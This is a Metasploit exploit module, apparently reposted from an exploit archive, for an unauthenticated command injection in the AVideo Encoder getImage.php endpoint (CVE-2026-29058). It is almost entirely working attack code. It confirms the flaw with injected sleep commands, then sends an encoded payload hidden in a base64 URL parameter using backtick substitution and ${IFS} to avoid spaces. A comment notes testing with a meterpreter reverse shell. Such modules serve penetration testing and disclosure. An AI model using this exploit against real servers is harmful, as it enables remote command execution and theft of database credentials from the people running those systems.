## https://sploitus.com/exploit?id=PACKETSTORM:217433
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'AVideo Encoder getImage.php Unauthenticated Command Injection',
'Description' => %q{
This module exploits an unauthenticated OS command injection vulnerability
in AVideo Encoder's getImage.php endpoint (CVE-2026-29058).
The base64Url GET parameter is base64-decoded and injected directly into an
ffmpeg shell command within double quotes, without any sanitization or use of
escapeshellarg(). PHP's FILTER_VALIDATE_URL check does not block shell
metacharacters such as $() in the URL path, allowing command substitution.
A crafted URL like http://x/$(cmd) passes FILTER_VALIDATE_URL and is interpolated
into: ffmpeg -i "{$url}" ... resulting in arbitrary command execution as www-data.
The Encoder code is served by the main AVideo Apache container (mounted at
/Encoder), so exploitation gives access to the main application context including
database credentials and configuration.
Fixed in AVideo Encoder version 7.0 (commit 78178d1) which added escapeshellarg()
and shell metacharacter stripping.
},
'Author' => [
'arkmarta', # Vulnerability discovery -- props to you man
'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-29058'],
['GHSA', '9j26-99jh-v26q', 'WWBN/AVideo-Encoder']
],
'Privileged' => false,
'Targets' => [
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
'DefaultOptions' => {
'ENCODER' => 'generic/none',
'FETCH_WRITABLE_DIR' => '/tmp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-03-05',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to AVideo', '/'])
])
end
def check
res = send_getimage('true')
return CheckCode::Unknown('Failed to connect to the target.') unless res
return CheckCode::Safe("getImage.php returned HTTP #{res.code}") unless res.code == 200
hits = 0
3.times do |i|
sleep_time = rand(1..3)
vprint_status("Sleep check attempt #{i + 1}/3 (#{sleep_time}s)...")
_, elapsed = Rex::Stopwatch.elapsed_time do
send_getimage("sleep${IFS}#{sleep_time}")
end
next unless elapsed >= (sleep_time - 0.5)
vprint_good("Attempt #{i + 1}: #{elapsed.round(1)}s elapsed")
hits += 1
end
return CheckCode::Vulnerable("Command injection confirmed via sleep timing (#{hits}/3 checks passed)") if hits >= 2
CheckCode::Safe('getImage.php is accessible but command injection did not trigger')
end
def exploit
print_status('Sending command injection via getImage.php...')
send_getimage(payload.encoded.gsub(' ', '${IFS}'))
end
def send_getimage(cmd)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'Encoder', 'objects', 'getImage.php'),
'method' => 'GET',
'vars_get' => { 'base64Url' => Rex::Text.encode_base64("#{Faker::Internet.url}/`#{cmd}`"), 'format' => 'png' }
})
end
end